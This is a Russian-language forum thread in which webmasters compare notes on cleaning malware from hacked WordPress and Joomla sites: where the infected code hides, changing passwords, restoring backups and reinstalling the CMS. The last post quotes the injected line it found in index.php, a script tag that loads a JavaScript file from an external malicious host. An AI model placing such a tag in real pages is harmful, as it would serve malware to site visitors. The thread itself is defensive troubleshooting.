[ks_dp]

dreker, ошибаетесь.

[donriga]

dreker, ошибаетесь, обычно в теме во всех файлах с расширением php вначале файла, также вирус часто бывает в файле htaccess, также стоит поискать в файле functions.php, если будете искать на совпадение, то у вас врятли что-то получится, так как используется кодирование или упаковка в случае с js

[dobbot]

у меня тоже самое недавно было. Обязательно смени пароли на хосте и не храни пасы в filezilla и т.п.
У меня эта ссылка была добавлена на все сайты только в индексную страницу (index.php или .html) около тега body. на wp, также смотри index.php в конце кода. На всякий случай, отсортируй файлы по дате изменения и посмотри код. И со своего компа удали касперским и drweb-ом всю нечисть.

[awmaster08]

Мне для Joomla помог скрипт replace.php. 2 минуты и вирусов нет :) Причем все php файлы были заражены. Написано, для WP тоже подойдет.

[zxgame]

Пришел к решению, восстанавливать. Перебираю бэкапы. Жалко проделанной работы, но думаю так будет надежней

[donriga]

Вирусы для cms сейчас становятся все более изощренными, раньше попадались редко, сейчас на каждом шагу

[dobbot]

Вообще ощущение после взлома - как будто по карманам полазили - очень не приятно

[13й]

вордпресс

Перебираю бэкапы

А чего париться-то? Скачиваете папку uploads с хостинга и установленную тему. Удаляете все файлы из доменной папки. Чистите тему от зловреда. Заливаете последнюю официальную версию движка на хостинг, подключаете БД, заливаете на хостинг папку uploads и тему. И всё.

[izyalex]

Перебираю бэкапы. Жалко проделанной работы, но думаю так будет надежней

анальный вандализм, надежней не будет, дыра останется
я же выше помощь предлагал по удалению, безвозмездно!
за доп плату рассказал/показал(через TeamViewer), по желанию могу хоть урок по анализу логов и выявлению гадости предоставить

[kreg22]

Тоже подцепил эту заразу на 4-х сайтах, движок вордпресс.
Вот что было в файле index.php

<script src="http://kinoshkaxa.changeip.name/rsize.js"></script>

Удалил, касперский перестал ругаться.
Поменял пассы на фтп, админке вп, и хостинга hqhost.

Что-то слышал про дыру в опере, но не уверен что это наш случай.